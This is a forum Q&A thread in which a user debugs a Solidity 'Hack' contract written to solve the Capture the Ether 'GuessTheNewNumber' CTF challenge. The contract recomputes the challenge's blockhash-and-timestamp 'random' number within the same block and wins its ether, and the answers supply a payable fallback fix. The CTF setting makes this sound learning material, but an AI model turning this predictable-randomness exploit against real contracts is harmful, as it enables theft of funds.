0

I have a remix "gas estimation failed" error when calling a function. I have read other questions for the same error without much success. I have compiled the code before trying to deploy. The code doesn't have any for loops. On Injected Web3 deploys fine. On Javascript VM it doesn't (instead of the contract hash it says "(MEMORY)"). When I try to call trytoguess function using InjectedWeb3 I get the "Gas estimation failed" error. On the Javscript VM I get "transact to Hack.trytoguess errored: NotFoundError: Key not found in database [hn] ". I guess there is something wrong with the code.

The first contract is taken from a CTF, so I guess it's ok. It deploys fine:

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            address(msg.sender).transfer(2 ether);
        }
    }
}

After deployment, I use the contact address as input for the next contract in the constructor (this one is the problematic):

pragma solidity ^0.4.21;
import "./GuessTheNewNumberChallenge.sol";


contract Hack{
    address owner;
    GuessTheNewNumberChallenge challenge_contract;
    function Hack(address challenge_address) public{
        owner = msg.sender;
        challenge_contract = GuessTheNewNumberChallenge(challenge_address);
    }
    
    function withdraw() public{
        require(msg.sender == owner);
        address(msg.sender).transfer(address(this).balance);
    }
    
    function funds() view public returns (uint256){
        return address(this).balance;
    }
    
    function trytoguess() public payable{
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        challenge_contract.guess.value(msg.value).gas(100000)(answer);
    }
}

The function that fails is trytoguess(). I tried increasing the gas limit both on remix and the code (the .gas(100000). at the end) without success. Also tried replacing the gas function for gasleft(), and also remove at all the mention to gas on that line. I know this is all quite-old solidity code, but we I adapted to the latest version I had the same problem. So I guess this is unrelated to the solidity version.

1 Answer 1

0

After a few hours of looking I probably found what's missing for the contract to work (new to Solidity myself). In order to accept ether from another contract we need a payable fallback function:

function () payable {

}

We leave the body empty, because transfering ether to our account won't be possible as this function can only rely on 2300 gas being available. Transfering is more expensive than that.

[Source: https://medium.com/@saurfang/lets-play-capture-the-ether-lotteries-part-ii-478365775a34]

Sadly I did not manage to find out what causes the NotFoundError: Key not found in database [hn]. I am still getting it in Remix when I use JavaScript VM. However after deploying to Ropsten everything worked just fine.

1
  • 1
    I have manage to make it work using latest solidity version for Hack contract (adapting the code was the most difficult part). Indeed a callback function was necessary. About the NotFoundError, seems it is a remix error for using a very old ganache-cli version.
    – Anna
    Commented Aug 15, 2021 at 5:25

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.